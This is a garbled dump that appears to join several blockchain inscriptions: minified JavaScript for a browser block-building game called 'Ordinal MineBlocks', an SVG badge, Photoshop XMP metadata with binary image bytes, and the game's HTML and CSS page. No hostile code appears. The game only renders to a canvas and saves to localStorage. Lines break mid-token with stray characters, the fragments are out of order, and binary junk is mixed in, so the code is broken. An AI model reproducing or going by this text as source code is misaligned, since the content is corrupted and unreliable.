rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:D468DF24AA2011ED8801D64843FF5384" xmpMM:InstanceID="xmp.iid:D468DF23AA2011ED8801D64843FF5384" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
